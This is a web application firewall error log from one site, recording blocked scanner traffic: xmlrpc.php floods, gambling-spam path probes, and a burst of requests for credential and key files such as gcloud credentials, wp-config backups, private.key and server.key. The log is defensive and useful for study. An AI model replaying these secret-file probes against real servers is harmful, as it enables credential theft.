[Fri May 01 03:53:12.901869 2026] [:error] [pid 11946:tid 11961] [client 178.190.153.48:59990] [client 178.190.153.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.190.153.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afOzKLNgEmCRQlqcS4Ut8AAAAM0"]
[Fri May 01 04:00:12.404944 2026] [:error] [pid 11851:tid 11907] [client 162.62.132.25:40814] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afO0zGySy-WqliWquDJyqQAAAFg"]
[Fri May 01 05:12:44.603561 2026] [:error] [pid 38015:tid 38056] [client 142.132.226.7:47460] [client 142.132.226.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.132.226.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afPFzMNJWoh41gYMCSVqqAAAAEU"]
[Fri May 01 06:37:19.216437 2026] [:error] [pid 38014:tid 38040] [client 34.125.231.21:46334] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/.config/gcloud/credentials.db"] [unique_id "afPZn1Hplhcdzdndjk0LsAAAABE"]
[Fri May 01 06:37:19.216716 2026] [:error] [pid 38014:tid 38030] [client 34.125.231.21:46302] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bak"] [unique_id "afPZn1Hplhcdzdndjk0LrwAAAAc"]
[Fri May 01 06:37:19.754567 2026] [:error] [pid 6046:tid 6088] [client 34.125.231.21:46502] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.bak"] [unique_id "afPZn4yBrpmb1HMIbiTg9wAAAYQ"]
[Fri May 01 06:37:19.805455 2026] [:error] [pid 6046:tid 6101] [client 34.125.231.21:46534] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.old" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.old"] [unique_id "afPZn4yBrpmb1HMIbiTg-AAAAZE"]
[Fri May 01 06:37:19.850183 2026] [:error] [pid 6046:tid 6086] [client 34.125.231.21:46594] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sites/default/settings.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sites/default/settings.php"] [unique_id "afPZn4yBrpmb1HMIbiTg-wAAAYI"]
[Fri May 01 06:37:19.883110 2026] [:error] [pid 6046:tid 6094] [client 34.125.231.21:46614] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.txt"] [unique_id "afPZn4yBrpmb1HMIbiTg_AAAAYo"]
[Fri May 01 06:37:19.977627 2026] [:error] [pid 38117:tid 38149] [client 34.125.231.21:46608] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/config/parameters.yml"] [unique_id "afPZn2hRYBrFpu8czJo51QAAANg"]
[Fri May 01 06:37:20.389221 2026] [:error] [pid 38016:tid 38081] [client 34.125.231.21:46654] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/storage/logs/laravel.log"] [unique_id "afPZoJFc1DCPy0LM72bogQAAAIM"]
[Fri May 01 06:37:20.432921 2026] [:error] [pid 38117:tid 38147] [client 34.125.231.21:46646] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php~"] [unique_id "afPZoGhRYBrFpu8czJo51gAAANY"]
[Fri May 01 06:37:20.515009 2026] [:error] [pid 38016:tid 38082] [client 34.125.231.21:46690] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/private.key"] [unique_id "afPZoJFc1DCPy0LM72boggAAAIQ"]
[Fri May 01 06:37:20.581622 2026] [:error] [pid 38117:tid 38137] [client 34.125.231.21:46682] [client 34.125.231.21] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/server.key"] [unique_id "afPZoGhRYBrFpu8czJo52AAAAMw"]
[Fri May 01 08:37:48.973954 2026] [:error] [pid 5976:tid 5981] [client 143.0.21.102:47720] [client 143.0.21.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.0.21.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afP13LbCb0ye2WjKldec6wAAAQE"]
[Fri May 01 08:37:59.272592 2026] [:error] [pid 38015:tid 38055] [client 143.0.21.102:9463] [client 143.0.21.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.0.21.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afP158NJWoh41gYMCSWRAwAAAEQ"]
[Fri May 01 08:38:09.903925 2026] [:error] [pid 38015:tid 38072] [client 143.0.21.102:47111] [client 143.0.21.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.0.21.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afP18cNJWoh41gYMCSWRCwAAAFU"]
[Fri May 01 08:38:20.511497 2026] [:error] [pid 6046:tid 6104] [client 143.0.21.102:43948] [client 143.0.21.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.0.21.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afP1_IyBrpmb1HMIbiQBNwAAAZQ"]
[Fri May 01 08:38:31.197360 2026] [:error] [pid 38016:tid 38084] [client 143.0.21.102:51403] [client 143.0.21.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.0.21.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afP2B5Fc1DCPy0LM72b98AAAAIY"]
[Fri May 01 08:55:36.979116 2026] [:error] [pid 38117:tid 38147] [client 175.27.171.245:55422] [client 175.27.171.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afP6CGhRYBrFpu8czJpHMQAAANY"]
[Fri May 01 10:01:43.849034 2026] [:error] [pid 38015:tid 38073] [client 43.160.219.206:38572] [client 43.160.219.206] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afQJh8NJWoh41gYMCSW1RQAAAFY"]
[Fri May 01 10:41:19.092991 2026] [:error] [pid 24995:tid 25001] [client 65.108.2.171:17214] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "afQSz-dJG9WB_Q_ne0tPBAAAAEI"]
[Fri May 01 10:41:21.059598 2026] [:error] [pid 24996:tid 25055] [client 65.108.2.171:17218] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "afQS0SDBq9mMfUWQQerecgAAAJY"]
[Fri May 01 10:41:23.163123 2026] [:error] [pid 25085:tid 25101] [client 65.108.2.171:17226] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "afQS0_uD8fWRiE0RX0Fr-AAAAUo"]
[Fri May 01 10:41:25.113946 2026] [:error] [pid 25085:tid 25105] [client 65.108.2.171:34208] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "afQS1fuD8fWRiE0RX0FsAAAAAU4"]
[Fri May 01 10:41:27.239707 2026] [:error] [pid 24995:tid 25009] [client 65.108.2.171:34220] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "afQS1-dJG9WB_Q_ne0tPTgAAAEo"]
[Fri May 01 10:41:29.217033 2026] [:error] [pid 24995:tid 25015] [client 65.108.2.171:34226] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afQS2edJG9WB_Q_ne0tPUgAAAFA"]
[Fri May 01 10:41:31.144126 2026] [:error] [pid 24997:tid 25071] [client 65.108.2.171:34238] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afQS2_OkHa4ScY5oo8wV7AAAAM8"]
[Fri May 01 10:41:33.079965 2026] [:error] [pid 25085:tid 25096] [client 65.108.2.171:34254] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afQS3fuD8fWRiE0RX0FsCwAAAUU"]
[Fri May 01 10:41:34.983675 2026] [:error] [pid 24995:tid 25013] [client 65.108.2.171:48952] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afQS3udJG9WB_Q_ne0tPXgAAAE4"]
[Fri May 01 10:41:36.900389 2026] [:error] [pid 24997:tid 25076] [client 65.108.2.171:48966] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afQS4POkHa4ScY5oo8wV-AAAANQ"]
[Fri May 01 10:41:38.813505 2026] [:error] [pid 25085:tid 25095] [client 65.108.2.171:48976] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afQS4vuD8fWRiE0RX0FsFwAAAUQ"]
[Fri May 01 10:41:40.770763 2026] [:error] [pid 24997:tid 25063] [client 65.108.2.171:48992] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afQS5POkHa4ScY5oo8wV-gAAAMc"]
[Fri May 01 10:41:42.819579 2026] [:error] [pid 24996:tid 25032] [client 65.108.2.171:48994] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afQS5iDBq9mMfUWQQeremAAAAIQ"]
[Fri May 01 10:41:44.688632 2026] [:error] [pid 25085:tid 25101] [client 65.108.2.171:44730] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "afQS6PuD8fWRiE0RX0FsJAAAAUo"]
[Fri May 01 10:41:46.733406 2026] [:error] [pid 25085:tid 25096] [client 65.108.2.171:44746] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "afQS6vuD8fWRiE0RX0FsJwAAAUU"]
[Fri May 01 10:41:48.689587 2026] [:error] [pid 25085:tid 25106] [client 65.108.2.171:44760] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "afQS7PuD8fWRiE0RX0FsLQAAAU8"]
[Fri May 01 10:41:50.691181 2026] [:error] [pid 24995:tid 25011] [client 65.108.2.171:44776] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afQS7udJG9WB_Q_ne0tPcgAAAEw"]
[Fri May 01 10:41:52.600011 2026] [:error] [pid 25085:tid 25094] [client 65.108.2.171:44790] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "afQS8PuD8fWRiE0RX0FsMQAAAUM"]
[Fri May 01 10:41:54.502660 2026] [:error] [pid 24997:tid 25066] [client 65.108.2.171:38840] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "afQS8vOkHa4ScY5oo8wWBQAAAMo"]
[Fri May 01 10:41:56.392713 2026] [:error] [pid 24995:tid 25016] [client 65.108.2.171:38854] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "afQS9OdJG9WB_Q_ne0tPegAAAFE"]
[Fri May 01 10:41:58.511935 2026] [:error] [pid 25085:tid 25094] [client 65.108.2.171:38862] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "afQS9vuD8fWRiE0RX0FsOQAAAUM"]
[Fri May 01 10:42:00.335047 2026] [:error] [pid 25085:tid 25110] [client 65.108.2.171:38878] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afQS-PuD8fWRiE0RX0FsRgAAAVM"]
[Fri May 01 10:42:02.419069 2026] [:error] [pid 25085:tid 25096] [client 65.108.2.171:38880] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "afQS-vuD8fWRiE0RX0FsWwAAAUU"]
[Fri May 01 10:42:04.288766 2026] [:error] [pid 24995:tid 25002] [client 65.108.2.171:22644] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "afQS_OdJG9WB_Q_ne0tPjQAAAEM"]
[Fri May 01 10:42:06.279052 2026] [:error] [pid 24996:tid 25049] [client 65.108.2.171:22650] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afQS_iDBq9mMfUWQQereygAAAJM"]
[Fri May 01 10:42:08.368923 2026] [:error] [pid 25085:tid 25114] [client 65.108.2.171:22664] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "afQTAPuD8fWRiE0RX0FsbgAAAVc"]
[Fri May 01 10:42:10.319236 2026] [:error] [pid 24997:tid 25070] [client 65.108.2.171:22676] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "afQTAvOkHa4ScY5oo8wWHgAAAM4"]
[Fri May 01 10:42:12.370405 2026] [:error] [pid 25085:tid 25106] [client 65.108.2.171:22690] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "afQTBPuD8fWRiE0RX0FsewAAAU8"]
[Fri May 01 10:42:14.277585 2026] [:error] [pid 25085:tid 25091] [client 65.108.2.171:22694] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "afQTBvuD8fWRiE0RX0FsfQAAAUA"]
[Fri May 01 11:12:29.022942 2026] [:error] [pid 33791:tid 33804] [client 43.164.3.182:60286] [client 43.164.3.182] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afQaHW9ixd-moLycM9Ag7AAAAAo"]
[Fri May 01 14:18:07.048681 2026] [:error] [pid 25085:tid 25105] [client 114.119.149.109:21559] [client 114.119.149.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/publications-and-outcomes/"] [unique_id "afRFn_uD8fWRiE0RX0GynAAAAU4"], referer: https://gigfragments.org/about/
[Fri May 01 14:19:43.955850 2026] [:error] [pid 24995:tid 25019] [client 114.119.130.102:38257] [client 114.119.130.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afRF_-dJG9WB_Q_ne0t6KAAAAFQ"], referer: https://gigfragments.org/about/
